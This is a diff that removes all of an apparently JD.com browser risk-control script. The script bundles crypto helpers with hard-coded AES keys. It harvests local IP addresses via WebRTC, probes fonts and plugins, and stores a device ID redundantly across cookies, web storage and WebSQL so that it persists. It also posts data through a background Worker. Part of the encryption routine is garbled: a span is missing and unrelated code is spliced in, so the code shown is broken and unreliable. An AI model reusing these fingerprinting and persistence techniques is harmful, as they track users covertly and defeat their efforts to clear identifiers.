t.enc.Base32.parse(v), - }, - w, - { - mode: t.mode.CBC, - padding: t.pad.Pkcs7, - iv: x, - } - ).toString(t.enc.Utf8); - }, - deBase64: function (v) { - return ""; - }, - }; - u.Uplink = { - enAsBase32: function (v) { - return ""; - }, - enAsBase64: function (v) { - return ""; - }, - }; -})(); - -(function () { - var t = JDDSecCryptoJS, - u = t.lib.WordArray; - t.enc.Base32 = { - stringify: function (v) { - var x = v.words, - w = v.sigBytes, - A = this._map; - v.clamp(); - v = []; - for (var y = 0; y < w; y += 5) { - for (var n = [], e = 0; 5 > e; e++) - n[e] = (x[(y + e) >>> 2] >>> (24 - ((y + e) % 4) * 8)) & 255; - n = [ - (n[0] >>> 3) & 31, - ((n[0] & 7) << 2) | ((n[1] >>> 6) & 3), - (n[1] >>> 1) & 31, - ((n[1] & 1) << 4) | ((n[2] >>> 4) & 15), - ((n[2] & 15) << 1) | ((n[3] >>> 7) & 1), - (n[3] >>> 2) & 31, - ((n[3] & 3) << 3) | ((n[4] >>> 5) & 7), - n[4] & 31, - ]; - for (e = 0; 8 > e && y + 0.625 * e < w; e++) v.push(A.charAt(n[e])); - } - if ((x = A.charAt(32))) for (; v.length % 8; ) v.push(x); - return v.join(""); - }, - parse: function (v) { - var x = v.length, - w = this._map, - A = w.charAt(32); - A && ((A = v.indexOf(A)), -1 != A && (x = A)); - A = []; - for (var y = 0, n = 0; n < x; n++) { - var e = n % 8; - if (0 != e && 2 != e && 5 != e) { - var f = 255 & (w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8), - r = 255 & (w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8); - e = - e % 3 ? 0 : 255 & (w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7)); - A[y >>> 2] |= (f | r | e) << (24 - (y % 4) * 8); - y++; - } - } - return u.create(A, y); - }, - _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567", - }; -})(); - -class JDDMAC { - static t() { - return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" - .split(" ") - .map(function (v) { - return parseInt(v, 16); - }); - } - - mac(v) { - for (var x = -1, w = 0, A = v.length; w < A; w++) - x = (x >>> 8) ^ t[(x ^ v.charCodeAt(w)) & 255]; - return (x ^ -1) >>> 0; - } -} - -var _CurrentPageProtocol = - "https:" == document.location.protocol ? "https://" : "http://", - _JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", - _url_query_str = "", - _root_domain = "", - _CurrentPageUrl = (function () { - var t = document.location.href.toString(); - try { - _root_domain = - /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec( - t - )[1]; - } catch (v) {} - var u = t.indexOf("?"); - 0 < u && - ((_url_query_str = t.substring(u + 1)), - 500 < _url_query_str.length && - (_url_query_str = _url_query_str.substring(0, 499)), - (t = t.substring(0, u))); - return (t = t.substring(_CurrentPageProtocol.length)); - })(), - jd_shadow__ = (function () { - try { - var t = JDDSecCryptoJS, - u = []; - u.push(_CurrentPageUrl); - var v = t.lib.UUID.generateUuid(); - u.push(v); - var x = new Date().getTime(); - u.push(x); - var w = t.SHA1(u.join("")).toString().toUpperCase(); - u = []; - u.push("JD3"); - u.push(w); - var A = new JDDMAC().mac(u.join("")); - u.push(A); - var y = t.enc.Hex.parse("30313233343536373839616263646566"), - n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), - e = u.join(""); - return t.AES.encrypt(t.enc.Utf8.parse(e), n, { - mode: t.mode.CBC, - padding: t.pad.Pkcs7, - iv: y, - }).ciphertext.toString(t.enc.Base32); - } catch (f) { - console.log(f); - } - })(); -var td_collect = new (function () { - function t() { - var n = - window.webkitRTCPeerConnection || - window.mozRTCPeerConnection || - window.RTCPeerConnection; - if (n) { - var e = function (k) { - var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, - m = - /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; - try { - var a = g.exec(k); - if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); - var b = a[1]; - void 0 === f[b] && w.push(b); - f[b] = !0; - } catch (c) {} - }, - f = {}; - try { - var r = new n({ - iceServers: [ - { - url: "stun:stun.services.mozilla.com", - }, - ], - }); - } catch (k) {} - try { - void 0 === r && - (r = new n({ - iceServers: [], - })); - } catch (k) {} - if (r || window.mozRTCPeerConnection) - try { - r.createDataChannel("chat", { - reliable: !1, - }); - } catch (k) {} - r && - ((r.onicecandidate = function (k) { - k.candidate && e(k.candidate.candidate); - }), - r.createOffer( - function (k) { - r.setLocalDescription( - k, - function () {}, - function () {} - ); - }, - function () {} - ), - setTimeout(function () { - try { - r.localDescription.sdp.split("\n").forEach(function (k) { - 0 === k.indexOf("a=candidate:") && e(k); - }); - } catch (k) {} - }, 800)); - } - } - - function u(n) { - var e; - return (e = document.cookie.match( - new RegExp("(^| )" + n + "=([^;]*)(;|$)") - )) - ? e[2] - : ""; - } - - function v() { - function n(g) { - var m = {}; - r.style.fontFamily = g; - document.body.appendChild(r); - m.height = r.offsetHeight; - m.width = r.offsetWidth; - document.body.removeChild(r); - return m; - } - - var e = ["monospace", "sans-serif", "serif"], - f = [], - r = document.createElement("span"); - r.style.fontSize = "72px"; - r.style.visibility = "hidden"; - r.innerHTML = "mmmmmmmmmmlli"; - for (var k = 0; k < e.length; k++) f[k] = n(e[k]); - this.checkSupportFont = function (g) { - for (var m = 0; m < f.length; m++) { - var a = n(g + "," + e[m]), - b = f[m]; - if (a.height !== b.height || a.width !== b.width) return !0; - } - return !1; - }; - } - - function x(n) { - var e = {}; - e.name = n.name; - e.filename = n.filename.toLowerCase(); - e.description = n.description; - void 0 !== n.version && (e.version = n.version); - e.mimeTypes = []; - for (var f = 0; f < n.length; f++) { - var r = n[f], - k = {}; - k.description = r.description; - k.suffixes = r.suffixes; - k.type = r.type; - e.mimeTypes.push(k); - } - return e; - } - - this.bizId = ""; - this.bioConfig = { - type: "42", - operation: 1, - duraTime: 2, - interval: 50, - }; - this.worder = null; - this.deviceInfo = { - userAgent: "", - isJdApp: !1, - isJrApp: !1, - sdkToken: "", - fp: "", - eid: "", - }; - this.isRpTok = !1; - this.obtainLocal = function (n) { - n = "undefined" !== typeof n && n ? !0 : !1; - var e = {}; - try { - var f = document.cookie.replace( - /(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, - "$1" - ); - 0 !== f.length && (e.cookie = f); - } catch (k) {} - try { - window.localStorage && - null !== window.localStorage && - 0 !== window.localStorage.length && - (e.localStorage = window.localStorage.getItem("3AB9D23F7A4B3C9B")); - } catch (k) {} - try { - window.sessionStorage && - null !== window.sessionStorage && - (e.sessionStorage = window.sessionStorage["3AB9D23F7A4B3C9B"]); - } catch (k) {} - try { - p.globalStorage && - (e.globalStorage = - window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]); - } catch (k) {} - try { - d && - "function" == typeof d.load && - "function" == typeof d.getAttribute && - (d.load("jdgia_user_data"), - (e.userData = d.getAttribute("3AB9D23F7A4B3C9B"))); - } catch (k) {} - try { - E.indexedDbId && (e.indexedDb = E.indexedDbId); - } catch (k) {} - try { - E.webDbId && (e.webDb = E.webDbId); - } catch (k) {} - try { - for (var r in e) - if (32 < e[r].length) { - _JdEid = e[r]; - n || (_eidFlag = !0); - break; - } - } catch (k) {} - try { - ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && - this.db("3AB9D23F7A4B3C9B"); - if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) - _JdEid = u("3AB9D23F7A4B3C9B"); - if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0; - } catch (k) {} - return _JdEid; - }; - var w = [], - A = - "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin".split( - ";" - ), - y = - "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako".split( - ";" - ); - this.toJson = "object" === typeof JSON && JSON.stringify; - this.init = function () { - _fingerprint_step = 6; - t(); - _fingerprint_step = 7; - "function" !== typeof this.toJson && - (this.toJson = function (n) { - var e = typeof n; - if ("undefined" === e || null === n) return "null"; - if ("number" === e || "boolean" === e) return n + ""; - if ("object" === e && n && n.constructor === Array) { - e = []; - for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); - return "[" + (e + "]"); - } - if ("object" === e) { - e = []; - for (f in n) - n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); - return "{" + (e + "}"); - } - }); - this.sdkCollectInit(); - }; - this.sdkCollectInit = function () { - try { - try { - bp_bizid && (this.bizId = bp_bizid); - } catch (f) { - this.bizId = "jsDefault"; - } - var n = navigator.userAgent.toLowerCase(), - e = - !n.match(/(iphone|ipad|ipod)/i) && - (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); - this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); - this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); - this.deviceInfo.userAgent = navigator.userAgent; - this.deviceInfo.isAndroid = e; - this.createWorker(); - } catch (f) {} - }; - this.db = function (n, e) { - try { - _fingerprint_step = "m"; - if (window.openDatabase) { - var f = window.openDatabase( - "sqlite_jdtdstorage", - "", - "jdtdstorage", - 1048576 - ); - void 0 !== e && "" != e - ? f.transaction(function (r) { - r.executeSql( - "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", - [], - function (k, g) {}, - function (k, g) {} - ); - r.executeSql( - "INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", - [n, e], - function (k, g) {}, - function (k, g) {} - ); - }) - : f.transaction(function (r) { - r.executeSql( - "SELECT value FROM cache WHERE name=?", - [n], - function (k, g) { - 1 <= g.rows.length && (_JdEid = g.rows.item(0).value); - }, - function (k, g) {} - ); - }); - } - _fingerprint_step = "n"; - } catch (r) {} - }; - this.setCookie = function (n, e) { - void 0 !== e && - "" != e && - (document.cookie = - n + - "=" + - e + - "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + - _root_domain); - }; - this.tdencrypt = function (n) { - n = this.toJson(n); - n = encodeURIComponent(n); - var e = "", - f = 0; - do { - var r = n.charCodeAt(f++); - var k = n.charCodeAt(f++); - var g = n.charCodeAt(f++); - var m = r >> 2; - r = ((r & 3) << 4) | (k >> 4); - var a = ((k & 15) << 2) | (g >> 6); - var b = g & 63; - isNaN(k) ? (a = b = 64) : isNaN(g) && (b = 64); - e = - e + - "23IL k; k++) - (C = q[k]), void 0 !== screen[C] && (z[C] = screen[C]); - q = ["devicePixelRatio", "screenTop", "screenLeft"]; - l = {}; - for (k = 0; q.length > k; k++) - (C = q[k]), void 0 !== window[C] && (l[C] = window[C]); - e.p = h; - e.w = l; - e.s = z; - e.sc = f; - e.tz = n.getTimezoneOffset(); - e.lil = w.sort().join("|"); - e.wil = ""; - f = {}; - try { - (f.cookie = navigator.cookieEnabled), - (f.localStorage = !!window.localStorage), - (f.sessionStorage = !!window.sessionStorage), - (f.globalStorage = !!window.globalStorage), - (f.indexedDB = !!window.indexedDB); - } catch (D) {} - e.ss = f; - e.ts.deviceTime = n.getTime(); - e.ts.deviceEndTime = new Date().getTime(); - return this.tdencrypt(e); - }; - this.collectSdk = function (n) { - try { - var e = this, - f = !1, - r = e.getLocal("BATQW722QTLYVCRD"); - if (null != r && void 0 != r && "" != r) - try { - var k = JSON.parse(r), - g = new Date().getTime(); - null != k && - void 0 != k.t && - "number" == typeof k.t && - (12e5 >= g - k.t && - void 0 != k.tk && - null != k.tk && - "" != k.tk && - k.tk.startsWith("jdd") - ? ((e.deviceInfo.sdkToken = k.tk), (f = !0)) - : void 0 != k.tk && - null != k.tk && - "" != k.tk && - (e.deviceInfo.sdkToken = k.tk)); - } catch (m) {} - r = !1; - e.deviceInfo.isJdApp - ? ((e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2]), - (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, "7.0.2")) && - !f && - e.getJdSdkCacheToken(function (m) { - e.deviceInfo.sdkToken = m; - (null != m && "" != m && m.startsWith("jdd")) || - e.getJdBioToken(n); - })) - : e.deviceInfo.isJrApp && - ((e.deviceInfo.clientVersion = navigator.userAgent.match( - /clientVersion=([^&]*)(&|$)/ - )[1]), - (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, "4.6.0")) && - !f && - e.getJdJrSdkCacheToken(function (m) { - e.deviceInfo.sdkToken = m; - (null != m && "" != m && m.startsWith("jdd")) || - e.getJdJrBioToken(n); - })); - "function" == typeof n && n(e.deviceInfo); - } catch (m) {} - }; - this.compareVersion = function (n, e) { - try { - if (n === e) return 0; - var f = n.split("."); - var r = e.split("."); - for (n = 0; n < f.length; n++) { - var k = parseInt(f[n]); - if (!r[n]) return 1; - var g = parseInt(r[n]); - if (k < g) break; - if (k > g) return 1; - } - } catch (m) {} - return -1; - }; - this.isWKWebView = function () { - return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || - 1 == window._is_jdsh_wkwebview - ? !0 - : !1; - }; - this.getErrorToken = function (n) { - try { - if (n) { - var e = (n + "").match(/"token":"(.*?)"/); - if (e && 1 < e.length) return e[1]; - } - } catch (f) {} - return ""; - }; - this.getJdJrBioToken = function (n) { - var e = this; - "undefined" != typeof JrBridge && - null != JrBridge && - "undefined" != typeof JrBridge._version && - (0 > e.compareVersion(JrBridge._version, "2.0.0") - ? console.error( - "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio" - ) - : JrBridge.callNative( - { - type: e.bioConfig.type, - operation: e.bioConfig.operation, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - }, - function (f) { - try { - "object" != typeof f && (f = JSON.parse(f)), - (e.deviceInfo.sdkToken = f.token); - } catch (r) { - console.error(r); - } - null != e.deviceInfo.sdkToken && - "" != e.deviceInfo.sdkToken && - ((f = { - tk: e.deviceInfo.sdkToken, - t: new Date().getTime(), - }), - e.store("BATQW722QTLYVCRD", JSON.stringify(f))); - } - )); - }; - this.getJdJrSdkCacheToken = function (n) { - var e = this; - try { - "undefined" == typeof JrBridge || - null == JrBridge || - "undefined" == typeof JrBridge._version || - 0 > e.compareVersion(JrBridge._version, "2.0.0") || - JrBridge.callNative( - { - type: e.bioConfig.type, - operation: 5, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - }, - function (f) { - var r = ""; - try { - "object" != typeof f && (f = JSON.parse(f)), (r = f.token); - } catch (k) { - console.error(k); - } - null != r && - "" != r && - "function" == typeof n && - (n(r), - r.startsWith("jdd") && - ((f = { - tk: r, - t: new Date().getTime(), - }), - e.store("BATQW722QTLYVCRD", JSON.stringify(f)))); - } - ); - } catch (f) {} - }; - this.getJdBioToken = function (n) { - var e = this; - n = JSON.stringify({ - businessType: "bridgeBiologicalProbe", - callBackName: "_bioDeviceCb", - params: { - pin: "", - jsonData: { - type: e.bioConfig.type, - operation: e.bioConfig.operation, - data: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - }, - }, - }); - e.isWKWebView() - ? window.webkit.messageHandlers.JDAppUnite.postMessage({ - method: "notifyMessageToNative", - params: n, - }) - : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); - window._bioDeviceCb = function (f) { - try { - var r = "object" == typeof f ? f : JSON.parse(f); - if (void 0 != r && null != r && "0" != r.status) return; - null != r.data.token && - void 0 != r.data.token && - "" != r.data.token && - (e.deviceInfo.sdkToken = r.data.token); - } catch (k) { - (f = e.getErrorToken(f)), - null != f && "" != f && (e.deviceInfo.sdkToken = f); - } - null != e.deviceInfo.sdkToken && - "" != e.deviceInfo.sdkToken && - ((f = { - tk: e.deviceInfo.sdkToken, - t: new Date().getTime(), - }), - e.store("BATQW722QTLYVCRD", JSON.stringify(f))); - }; - }; - this.getJdSdkCacheToken = function (n) { - try { - var e = this, - f = JSON.stringify({ - businessType: "bridgeBiologicalProbe", - callBackName: "_bioDeviceSdkCacheCb", - params: { - pin: "", - jsonData: { - type: e.bioConfig.type, - operation: 5, - data: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - }, - }, - }); - e.isWKWebView() - ? window.webkit.messageHandlers.JDAppUnite.postMessage({ - method: "notifyMessageToNative", - params: f, - }) - : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); - window._bioDeviceSdkCacheCb = function (r) { - var k = ""; - try { - var g = "object" == typeof r ? r : JSON.parse(r); - if (void 0 != g && null != g && "0" != g.status) return; - k = g.data.token; - } catch (m) { - k = e.getErrorToken(r); - } - null != k && - "" != k && - "function" == typeof n && - (n(k), - k.startsWith("jdd") && - ((r = { - tk: k, - t: new Date().getTime(), - }), - e.store("BATQW722QTLYVCRD", JSON.stringify(r)))); - }; - } catch (r) {} - }; - this.store = function (n, e) { - try { - this.setCookie(n, e); - } catch (f) {} - try { - window.localStorage && window.localStorage.setItem(n, e); - } catch (f) {} - try { - window.sessionStorage && window.sessionStorage.setItem(n, e); - } catch (f) {} - try { - window.globalStorage && - window.globalStorage[".localdomain"].setItem(n, e); - } catch (f) {} - try { - this.db(n, _JdEid); - } catch (f) {} - }; - this.getLocal = function (n) { - var e = {}, - f = null; - try { - var r = document.cookie.replace( - new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), - "$1" - ); - 0 !== r.length && (e.cookie = r); - } catch (g) {} - try { - window.localStorage && - null !== window.localStorage && - 0 !== window.localStorage.length && - (e.localStorage = window.localStorage.getItem(n)); - } catch (g) {} - try { - window.sessionStorage && - null !== window.sessionStorage && - (e.sessionStorage = window.sessionStorage[n]); - } catch (g) {} - try { - p.globalStorage && - (e.globalStorage = window.globalStorage[".localdomain"][n]); - } catch (g) {} - try { - d && - "function" == typeof d.load && - "function" == typeof d.getAttribute && - (d.load("jdgia_user_data"), (e.userData = d.getAttribute(n))); - } catch (g) {} - try { - E.indexedDbId && (e.indexedDb = E.indexedDbId); - } catch (g) {} - try { - E.webDbId && (e.webDb = E.webDbId); - } catch (g) {} - try { - for (var k in e) - if (32 < e[k].length) { - f = e[k]; - break; - } - } catch (g) {} - try { - if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n); - } catch (g) {} - return f; - }; - this.createWorker = function () { - if (window.Worker) { - try { - var n = new Blob( - [ - "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};", - ], - { - type: "application/javascript", - } - ); - } catch (e) { - (window.BlobBuilder = - window.BlobBuilder || - window.WebKitBlobBuilder || - window.MozBlobBuilder), - (n = new BlobBuilder()), - n.append( - "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" - ), - (n = n.getBlob()); - } - try { - this.worker = new Worker(URL.createObjectURL(n)); - 